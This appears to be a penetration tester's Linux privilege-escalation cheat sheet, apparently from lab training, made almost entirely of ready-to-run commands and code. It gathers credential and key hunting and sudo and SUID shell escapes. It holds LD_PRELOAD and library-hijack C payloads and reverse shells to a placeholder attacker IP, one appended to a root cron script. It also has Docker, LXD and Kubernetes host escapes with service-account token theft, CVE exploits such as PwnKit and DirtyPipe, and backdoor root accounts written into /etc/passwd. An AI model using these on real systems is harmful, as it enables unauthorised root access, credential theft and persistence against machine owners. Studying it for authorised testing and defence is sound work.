Linux Privilege Escalation

# Who am I, where am I, what can I do
id; whoami; hostname; pwd
cat /etc/os-release; uname -a
echo $PATH; env
sudo -l                                   # free win if present

# Users / groups / shells
echo "Passwd" : ;cat /etc/passwd; echo "\nGroups:"; cat /etc/group;echo "\nShells:" ;cat /etc/shells
getent passwd {1000..2000}                             # real users only OR 
awk -F: '$3 >= 1000 && $3 < 65534 {print $1}' /etc/passwd
cat /etc/shadow 2>/dev/null                            # jackpot if readable
 
# Sudo / SUID / SGID / capabilities
sudo -l; sudo -V                                       # sudo version check 
find / -perm -4000 -type f 2>/dev/null                 # SUID
find / -perm -2000 -type f 2>/dev/null                 # SGID
find / -perm -6000 -type f 2>/dev/null                 # SUID+SGID
getcap -r / 2>/dev/null                                # capabilities
 
# Cron / timers / running procs
cat /etc/crontab; ls -la /etc/cron.*
crontab -l 2>/dev/null
sudo crontab -l 2>/dev/null                            # root crontab
systemctl list-timers --all
ps -eo user,pid,cmd --forest
 
# Writable stuff
find / -path /proc -prune -o -type d -perm -o+w 2>/dev/null | grep -v /proc
find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null | grep -v /proc # OR
find / -type d -perm -0002 ! -perm -1000 2>/dev/null
find /etc -type f -perm -o+w 2>/dev/null               # writable in /etc = critical
# Writable files not owned by current user
find / -path /proc -prune -o -writable ! -user $(whoami) -type f 2>/dev/null
#history files
find / -name ".*history" 2>/dev/null
#root owned files 
find / -writable -user root -type f 2>/dev/null
 
# Network / mounts / NFS
ip a; ip route; ss -tulnp; arp -a
mount; cat /etc/fstab; cat /etc/exports 2>/dev/null    # no_root_squash
 
# Credentials on disk
grep -RiE 'pass(word)?|secret|api[_-]?key|token' /etc /home /var/www 2>/dev/null | head -50
find / -type f \( -name 'id_*' -o -name 'authorized_keys' -o -name '*.kdbx' \) 2>/dev/null
find / -regextype posix-extended -regex '.*\.(conf|cnf|config|env|ini|xml|ya?ml|bak|old)$' 2>/dev/null
 
# GPG keys
find / -path "*/.gnupg/*" 2>/dev/null
 
# Containers
cat /proc/1/cgroup; ls -la /.dockerenv 2>/dev/null
 
# service 
systemctl list-unit-files --type=service
find /etc/systemd /usr/lib/systemd -name "*.service" 2>/dev/null
 
# path hijack
echo $PATH | tr ':' '\n' | xargs ls -ld

# LinPEAS
./linpeas.sh -a 2>&1 | tee /tmp/linpeas.txt
 
# LinEnum 
./linEnum.sh -t 2>&1 | tee /tmp/linenum.txt
 
# linux-exploit-suggester 
./linux-exploit-suggester.sh 2>&1 | tee /tmp/linux-exploit-suggester.txt
 
# pspy run and look ouut for events that regularly happens like a cron job or some sys events related to sonme service 
./pspy64 -pf -i 1000

id; whoami; hostname; pwd
cat /etc/os-release; uname -a
sudo -l                               # free win if present
cat /proc/version                                      # compiler + build date
hostnamectl                                            # systemd hosts
who -a
last -w                                                # login history
lastlog | grep -v 'Never'                              # who has ever logged in
finger 2>/dev/null
 

# Group membership, writable PATH entries, dangerous env, shells
getent group sudo wheel admin docker lxd disk adm 2>/dev/null
echo $PATH | tr ':' '\n' | xargs -I{} ls -ld {} 2>/dev/null   # writable PATH dirs?
env | grep -E 'LD_PRELOAD|LD_LIBRARY_PATH|PYTHONPATH'
cat /etc/shells                                        # is tmux/screen installed?
cat /etc/shadow 2>/dev/null                            # readable = crack offline
cat /etc/passwd                                        # all accounts
cat /etc/passwd | grep -vE 'nologin|false'             # real login users
cat /etc/group                                         # group membership

# Sudo, SUID, capabilities, scheduled jobs, passwd/shadow perms
sudo -l
find / -perm -4000 -type f 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab; ls -la /etc/cron.*; systemctl list-timers --all
./pspy64 -pf -i 1000
grep ':0:' /etc/passwd; ls -l /etc/shadow /etc/passwd

# Home dirs, history, keys, configs, mounts/exports, disks
ls -la /home/*
# Hidden files (often creds, keys)
find / -type f -name '.*' 2>/dev/null | grep -vE '/(proc|sys)/'
find /home -type f -name '.*' -exec ls -la {} \; 2>/dev/null
 
# History files
find / -type f \( -name '*_history' -o -name '.*_history' \) -exec ls -la {} \; 2>/dev/null
cat /root/.bash_history ~/.bash_history 2>/dev/null
 
find / -name 'id_rsa*' 2>/dev/null
cat /etc/fstab; cat /etc/exports 2>/dev/null; mount | grep -v proc
lsblk; fdisk -l 2>/dev/null

# Network posture
ip a; ip route                                         # interfaces + routes
ss -tulnp                                              # listening sockets + PIDs
ss -anp | grep ESTAB                                   # active connections
cat /etc/resolv.conf                                   # internal DNS? AD hint
cat /etc/hosts                                         # internal name resolution
arp -a; ip neigh                                       # peers recently talked to
netstat -rn 2>/dev/null || route -n
ls /.dockerenv 2>/dev/null; grep -i docker /proc/1/cgroup #wuick docker container check
cat /proc/self/status | grep Cap  # then decode the hex to see if it's privileged 
capsh --decode=<hex>
 
# services 
ps auxf                                                # full tree
ps -eo user,pid,cmd | grep -v ']' | grep '^root'       # root-owned procs
systemctl list-units --type=service --state=running
systemctl list-timers --all                            # modern day cron replacement
 
# packages
 
# Debian/Ubuntu
apt list --installed 2>/dev/null | tr '/' ' ' | awk '{print $1, $3}' > /tmp/pkgs.list
 
# RHEL/CentOS/Fedora
rpm -qa --queryformat '%{NAME} %{VERSION}\n' > /tmp/pkgs.list
 
# Cross-reference with GTFOBins
for b in $(curl -s https://gtfobins.github.io/api.json | jq -r '.executables|keys[]'); do
  grep -q "^$b " /tmp/pkgs.list && echo "[GTFO candidate] $b"
done
 

# Automated enumeration + kernel CVE matching
curl -sL https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | bash -s -- -a 2>&1 | tee /tmp/linpeas.txt
./linux-exploit-suggester.sh

# Web app configs
find /var/www -type f \( -name 'wp-config.php' -o -name '.env' -o -name 'config.php' -o -name 'settings.py' -o -name 'web.config' \) 2>/dev/null
grep -RiE 'password|passwd|pwd|secret|api[_-]?key|token|db_pass' /var/www 2>/dev/null | head -30
 
# Config files anywhere
find / -type f \( -name '*.conf' -o -name '*.config' -o -name '*.cnf' -o -name '*.ini' -o -name '*.yaml' -o -name '*.yml' \) 2>/dev/null | xargs grep -liE 'pass|secret|token|key' 2>/dev/null
 
# Bash history (every user)
find /home /root -name '.*_history' -exec cat {} \; 2>/dev/null
 
# Git repos and config
find / -name '.git' -type d 2>/dev/null
find / -name '.git-credentials' 2>/dev/null
 
# SSH material
find / -name 'id_rsa*' -o -name 'id_ed25519*' -o -name 'id_ecdsa*' 2>/dev/null
find / -name 'authorized_keys' -o -name 'known_hosts' 2>/dev/null
cat /home/*/.ssh/known_hosts 2>/dev/null               # pivot targets
 
# Mail and spool
ls -la /var/mail /var/spool/mail 2>/dev/null
 
# Keepass, kwallet, browser password stores
find / \( -name '*.kdbx' -o -name '*.kdb' -o -name 'Login Data' \) 2>/dev/null
 
# Backup files with creds
find / -regex '.*\.\(bak\|old\|backup\|orig\|save\|~\)$' -type f 2>/dev/null

sudo -l
# Matching Defaults entries for htb-student on NIX02:
#     env_reset, mail_badpass,
#     secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin,
#     env_keep+=LD_PRELOAD
#
# User htb-student may run the following commands on NIX02:
#     (root) NOPASSWD: /usr/sbin/apache2 restart

# A selection of the most common
sudo vim -c ':!/bin/bash'
sudo less /etc/profile                                 # then: !/bin/bash
sudo find . -exec /bin/bash -p \; -quit
sudo awk 'BEGIN{system("/bin/bash")}'
sudo python3 -c 'import os;os.system("/bin/bash")'
sudo perl -e 'exec "/bin/bash";'
sudo ruby -e 'exec "/bin/bash"'
sudo env /bin/bash
sudo man man                                            # then: !/bin/bash
sudo git -p help config                                 # if pager, !/bin/bash
sudo zip /tmp/x.zip /etc/hosts -T --unzip-command='sh -c /bin/bash'
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh

# Attacker
nc -lvnp 443
 
# Target
cat > /tmp/.x <<'EOF'
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc <IP> 443 >/tmp/f
EOF
chmod +x /tmp/.x
sudo /usr/sbin/tcpdump -ln -i any -w /dev/null -W 1 -G 1 -z /tmp/.x -Z root

// /tmp/pwn.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void _init() {
    unsetenv("LD_PRELOAD");
    setuid(0); setgid(0);
    system("/bin/bash -p"); # -p coz modern day bash drops privileges when launched with SUID unless called with `-p`. Always use `bash -p` in your payloads, and test that `id` actually reports `uid=0(root)` after the spawn not just `euid=0`.
}

gcc -fPIC -shared -nostartfiles -o /tmp/pwn.so /tmp/pwn.c
sudo LD_PRELOAD=/tmp/pwn.so /usr/sbin/apache2 restart 

ldd /usr/sbin/apache2 | head                           #find a real dep, e.g., libcrypt.so.1
# Compile a malicious libcrypt.so with an init constructor, then:
sudo LD_LIBRARY_PATH=/tmp /usr/sbin/apache2 restart

# Check sudo version to triage
sudo -V

# Find all SUID (owner-execute-as-owner)
find / -perm -4000 -type f 2>/dev/null
 
# Find SUID owned by root (the ones that matter)
find / -user root -perm -4000 -type f -exec ls -la {} \; 2>/dev/null
 
# Find SGID
find / -perm -2000 -type f 2>/dev/null
 
# Both bits set
find / -perm -6000 -type f 2>/dev/null

# Static: what does it call?
strings /path/to/suid | grep -E '(^/|exec|system|popen|fopen)'
# Dynamic: library calls
ltrace /path/to/suid 2>&1 | head -40
# Syscalls
strace /path/to/suid 2>&1 | head -100
 
# Libraries and runpath
ldd /path/to/suid
readelf -d /path/to/suid | grep -E 'RPATH|RUNPATH'

cd /tmp
cat > service <<'EOF'
#!/bin/bash
/bin/bash -p
EOF
chmod +x service
export PATH=/tmp:$PATH
/path/to/suid

# Trace for missing .so loads
strace /path/to/suid 2>&1 | grep -E 'open.*\.so.*ENOENT'
# Look for: open("/path/missing.so", O_RDONLY) = -1 ENOENT (No such file or directory)

// hijack.c
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject() { setuid(0); system("/bin/bash -p"); }

gcc -shared -fPIC -o /path/to/missing.so hijack.c
/path/to/suid

readelf -d /path/to/suid | grep RUNPATH
# 0x1d (RUNPATH) Library runpath: [/development]
 
ls -ld /development                                    # writable?
 
# 1) Find the function name the binary imports
ldd /path/to/suid                                      # libshared.so => /development/libshared.so
./suid                                                 # undefined symbol: dbquery
 
# 2) Implement that symbol in a new library
cat > /tmp/src.c <<'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void dbquery() { setuid(0); system("/bin/sh -p"); }
EOF
 
gcc -fPIC -shared -o /development/libshared.so /tmp/src.c
/path/to/suid                                          # now root

# Find all capability-bearing binaries
getcap -r / 2>/dev/null
getcap -r /usr/bin /usr/sbin /usr/local/bin /opt 2>/dev/null
 
# Confirm on a specific binary
getcap /usr/bin/python3.8

# cap_setuid+ep on python3
/usr/bin/python3 -c 'import os; os.setuid(0); os.execl("/bin/bash","bash","-p")'
 
# cap_setuid+ep on perl
/usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
 
# cap_dac_override+ep on vim.basic rewrite /etc/passwd root line, su root
echo -e ':%s/^root:[^:]*:/root::/\nwq!' | /usr/bin/vim.basic -es /etc/passwd
su root                                                # no password
 
# cap_dac_read_search+ep on tar exfiltrate shadow
/usr/bin/tar -cf /tmp/shadow.tar /etc/shadow
cat /tmp/shadow.tar | strings | grep '^root:'

# Inspect current PATH
echo $PATH
echo $PATH | tr ':' '\n' | xargs -I {} ls -ld {} 2>/dev/null   # any writable dirs?
 
# Add . (current dir) to PATH :classic self-foot-gun, sometimes seen in scripts
PATH=.:$PATH; export PATH

# A root cron runs /opt/check.sh which contains: service apache2 status
# /opt is owned by the user group, but /usr/local/bin (in root's PATH) is writable by our user
 
cat > /usr/local/bin/service <<'EOF'
#!/bin/bash
cp /bin/bash /tmp/rb; chmod u+s /tmp/rb
EOF
chmod +x /usr/local/bin/service
 
# Wait for cron, then
/tmp/rb -p

# Privileged cron: cd /home/app && tar czf /backup/app.tgz *
# Assumption: you can write to /home/app
 
echo 'cp /bin/bash /tmp/rb; chmod u+s /tmp/rb' > /home/app/shell.sh
chmod +x /home/app/shell.sh
cd /home/app
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh shell.sh'
# Next tar run, root executes shell.sh; then
/tmp/rb -p

# System-wide cron
cat /etc/crontab
ls -la /etc/cron.d /etc/cron.hourly /etc/cron.daily /etc/cron.weekly /etc/cron.monthly
 
# Per-user crontabs (usually root-only readable)
ls -la /var/spool/cron /var/spool/cron/crontabs 2>/dev/null
 
# Systemd timers (modern replacement for some cron jobs)
systemctl list-timers --all
 
# anacron
cat /etc/anacrontab 2>/dev/null
 
# Catch short-lived jobs without root — pspy
./pspy64 -pf -i 1000 | tee /tmp/pspy.log

ls -la /path/to/cron_script.sh                         # world-writable?
cp /path/to/cron_script.sh /tmp/cron_script.sh.bak     # ALWAYS back up first
# Append a reverse shell, preserving existing behavior
echo 'bash -i >& /dev/tcp/<IP>/4444 0>&1' >> /path/to/cron_script.sh

# /etc/crontab:
# PATH=/home/user:/usr/local/sbin:/usr/local/bin
# */5 * * * * root backup.sh
 
cat > /home/user/backup.sh <<'EOF'
#!/bin/bash
chmod u+s /bin/bash
EOF
chmod +x /home/user/backup.sh
# Wait 5 minutes
bash -p

id | grep docker
 
# Mount host / into container /mnt, chroot, and you're root on the host
docker run -v /:/mnt --rm -it alpine chroot /mnt bash
 
# Alternate image if alpine isn't available
docker images                                          # list locally cached
docker run -v /:/mnt --rm -it <image> chroot /mnt /bin/sh

id | grep -E 'lxd|lxc'
 
# Use a minimal Alpine image (download on attacker, or use lxc-image-import)
# On attacker:
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder && ./build-alpine
 
# Transfer alpine-*.tar.gz to target, then:
lxc image import alpine-*.tar.gz --alias alpine
lxc init alpine r00t -c security.privileged=true
lxc config device add r00t mydev disk source=/ path=/mnt/root recursive=true
lxc start r00t
lxc exec r00t /bin/sh
# Inside container:
cd /mnt/root && cat etc/shadow

id | grep disk
 
debugfs /dev/sda1
# debugfs: cat /etc/shadow
# debugfs: cat /root/.ssh/id_rsa

id | grep adm
grep -ri 'pass\|token\|key' /var/log 2>/dev/null | head -40

id | grep shadow
cat /etc/shadow

# Target side
cat /etc/exports
# /srv/share  *(rw,no_root_squash,sync)
 
# Attacker side (needs local root)
showmount -e <TARGET_IP>
mkdir /tmp/nfs
sudo mount -t nfs <TARGET_IP>:/srv/share /tmp/nfs
 
# Create a SUID shell
cat > /tmp/shell.c <<'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(void){ setuid(0); setgid(0); execl("/bin/bash","bash","-p",NULL); }
EOF
gcc /tmp/shell.c -o /tmp/nfs/pwn
sudo chown root:root /tmp/nfs/pwn
sudo chmod 4755 /tmp/nfs/pwn
 
# On target (any user)
/srv/share/pwn
# uid=0(root)

# Non-sudo LD_PRELOAD: target runs with LD_PRELOAD in its environment (e.g. a misconfigured systemd service)
cat /proc/<pid>/environ | tr '\0' '\n' | grep LD_
 
# Identify the vector with ldd / readelf
ldd /path/to/target_binary
readelf -d /path/to/target_binary | grep -E 'RPATH|RUNPATH|NEEDED'

# mem_status.py runs SUID root and contains: import psutil; psutil.virtual_memory()
pip3 show psutil | grep Location                       # /usr/local/lib/python3.8/dist-packages
ls -l /usr/local/lib/python3.8/dist-packages/psutil/__init__.py
# -rw-r--rw- 1 root staff ... __init__.py               # world-writable
 
# Edit the function the script calls
sed -i '/^def virtual_memory/a\    import os; os.system("/bin/bash -p")' \
  /usr/local/lib/python3.8/dist-packages/psutil/__init__.py
 
# Trigger (SUID or sudo run of the script)
sudo /usr/bin/python3 /opt/mem_status.py
# uid=0(root)

python3 -c 'import sys; print("\n".join(sys.path))'
# /usr/lib/python38.zip
# /usr/lib/python3.8
# /usr/lib/python3.8/lib-dynload
# /usr/local/lib/python3.8/dist-packages
# /usr/lib/python3/dist-packages
 
ls -ld /usr/lib/python3.8                               # writable? good
# Drop a shadow psutil.py in that directory
cat > /usr/lib/python3.8/psutil.py <<'EOF'
import os
def virtual_memory():
    os.system('id; /bin/bash -p')
EOF
 
sudo /usr/bin/python3 /opt/mem_status.py

sudo -l
# User may run the following commands:
#     (ALL) SETENV: NOPASSWD: /usr/bin/python3
 
cat > /tmp/psutil.py <<'EOF'
import os
def virtual_memory():
    os.system('/bin/bash -p')
EOF
 
sudo PYTHONPATH=/tmp /usr/bin/python3 /opt/mem_status.py

# Prereqs: write access to a rotated log, logrotate running as root, vulnerable version
logrotate --version
 
# Pick which mode logrotate uses : options differ per config
grep -E 'create|compress' /etc/logrotate.conf /etc/logrotate.d/* | grep -v '^\s*#'
 
# Build the exploit on a kernel-matching host
git clone https://github.com/whotwagner/logrotten
cd logrotten && gcc logrotten.c -o logrotten
 
# Payload + listener
echo 'bash -i >& /dev/tcp/<IP>/9001 0>&1' > /tmp/payload
nc -lvnp 9001                                          # on attacker
 
# Trigger (create mode shown; use -c for compress-mode configs)
./logrotten -p /tmp/payload /tmp/app.log

# Find running tmux sessions and their sockets
ps aux | grep -E 'tmux|screen' | grep -v grep
# root  4806 ... tmux -S /shareds new -s debugsess
 
# Check socket permissions
ls -la /shareds
# srw-rw---- 1 root devs 0 ... /shareds
 
# If your user is in the owning group (here: devs), attach
id | grep devs
tmux -S /shareds attach                                # now inside root's tmux session

ls -la /var/run/screen/S-*                             # sockets per user
screen -r                                              # list attachable sessions
screen -r <PID>.<NAME>                                 # attach if permissions allow

# Can we capture?
getcap /usr/sbin/tcpdump 2>/dev/null
sudo -l | grep tcpdump
 
# Broad capture, written to disk
sudo tcpdump -i any -w /tmp/cap.pcap -U not port 22
 
# Targeted: HTTP POST bodies
sudo tcpdump -i any -A -s 0 'tcp port 80 and (tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504f5354)'

# net-creds
git clone https://github.com/DanMcInerney/net-creds
sudo python2 net-creds/net-creds.py -p /tmp/cap.pcap
 
# PCredz (credit cards, Net-NTLMv2, Kerberos AS-REQ, cleartext auth)
pip3 install Cython; pip3 install pcredz
PCredz -f /tmp/cap.pcap

# Map your options first
compgen -c                                             # all commands the shell knows
echo $PATH
 
# 1) If any interpreter/editor is allowed
vi
:!/bin/bash
:set shell=/bin/bash
:shell
 
# 2) If find is allowed
find / -name nonexistent -exec /bin/bash \;
 
# 3) If awk is allowed
awk 'BEGIN{system("/bin/bash")}'
 
# 4) If less/more/man is allowed
less /etc/profile
# Then: !/bin/bash
 
# 5) Environment variable abuse
BASH_CMDS[a]=/bin/sh; a
export PATH=$PATH:/bin:/usr/bin
 
# 6) SSH escape (if connecting via SSH)
ssh <USER>@<HOST> -t "bash --noprofile --norc"
 
# 7) Command substitution
`/bin/bash`
$(/bin/bash)
 
# 8) Python/perl/ruby if present
python -c 'import os; os.system("/bin/bash")'
perl -e 'exec "/bin/bash";'

# Am I in a container?
cat /proc/1/cgroup
ls -la /.dockerenv 2>/dev/null
mount | grep -E 'overlay|aufs'
cat /proc/self/status | grep CapEff
# CapEff: 0000003fffffffff  (hex 0x3fffffffff) = all capabilities = --privileged

ls -la /var/run/docker.sock                            # or /app/docker.sock, varies
 
# Transfer a static docker binary
curl -L https://master.dockerproject.com/linux/x86_64/docker -o /tmp/docker
chmod +x /tmp/docker
 
# List containers on the host
/tmp/docker -H unix:///var/run/docker.sock ps
 
# Launch a privileged container mounting host /
/tmp/docker -H unix:///var/run/docker.sock run -v /:/hostsystem --rm -d --privileged <image> sleep 3600
 
# Exec into it
/tmp/docker -H unix:///var/run/docker.sock exec -it <new_container_id> /bin/bash
cat /hostsystem/root/.ssh/id_rsa

# Inside container : look for host paths bound in
mount | grep -v 'overlay\|proc\|sysfs\|tmpfs\|devtmpfs'
ls /hostsystem /mnt /host 2>/dev/null
 
# If /hostsystem is the host's /, you already have full filesystem access
cat /hostsystem/etc/shadow
cat /hostsystem/root/.ssh/id_rsa

cat /proc/self/status | grep Cap
# CapEff: 0000003fffffffff = privileged (all caps)
 
# Mount the host root
mkdir /tmp/host
mount /dev/sda1 /tmp/host 2>/dev/null || fdisk -l      # pick the right device
chroot /tmp/host /bin/bash

# Quick kubelet probe
curl -sk https://<NODE_IP>:10250/pods | jq .           # anonymous? lists all pods
curl -sk https://<NODE_IP>:10250/metrics | head        # usually open
 
# Enumerate with kubeletctl
kubeletctl -i --server <NODE_IP> pods
kubeletctl -i --server <NODE_IP> scan rce              # pods where exec is allowed
kubeletctl -i --server <NODE_IP> exec 'id' -p <pod> -c <container>
 
# Grab the service account token + CA cert
kubeletctl -i --server <NODE_IP> exec 'cat /var/run/secrets/kubernetes.io/serviceaccount/token' -p <pod> -c <container> | tee /tmp/k8.token
kubeletctl -i --server <NODE_IP> exec 'cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt' -p <pod> -c <container> | tee /tmp/ca.crt

export TOKEN=$(cat /tmp/k8.token)
kubectl --token=$TOKEN --certificate-authority=/tmp/ca.crt \
  --server=https://<API_IP>:6443 auth can-i --list
 
# If you can create pods, mount host / into a new pod
cat > /tmp/privesc.yaml <<'EOF'
apiVersion: v1
kind: Pod
metadata:
  name: privesc
  namespace: default
spec:
  hostNetwork: true
  containers:
  - name: p
    image: nginx:1.14.2
    volumeMounts:
    - mountPath: /host
      name: host-root
  volumes:
  - name: host-root
    hostPath:
      path: /
EOF
 
kubectl --token=$TOKEN --certificate-authority=/tmp/ca.crt \
  --server=https://<API_IP>:6443 apply -f /tmp/privesc.yaml
 
kubectl --token=$TOKEN --certificate-authority=/tmp/ca.crt \
  --server=https://<API_IP>:6443 exec -it privesc -- cat /host/root/.ssh/id_rsa

pkexec --version                                       # < 0.120 = vulnerable on most distros
ls -l /usr/bin/pkexec                                  # SUID root binary
git clone https://github.com/arthepsy/CVE-2021-4034
cd CVE-2021-4034 && gcc cve-2021-4034-poc.c -o poc
./poc

uname -r                                               # 5.8 <= kernel <= 5.16.10
 
git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits
cd CVE-2022-0847-DirtyPipe-Exploits && bash compile.sh
./exploit-1
# Password: piped
./exploit-2 /usr/bin/sudo

ls -la /etc/passwd
 
# Generate a hash for the password you want
openssl passwd -6 -salt xyz 'Password123!'
# $6$xyz$...
 
# Append a root-equivalent user
echo 'pwn:$6$xyz$...:0:0:root-equivalent:/root:/bin/bash' >> /etc/passwd
su pwn
# Password: Password123!  -> id: uid=0

ls -la /etc/shadow
mkpasswd -m sha-512 'Password123!'
# $6$...
# Replace root's hash field in /etc/shadow, then
su root

# Version intel
uname -a
cat /proc/version
cat /etc/os-release
 
# Automated matching
./linux-exploit-suggester.sh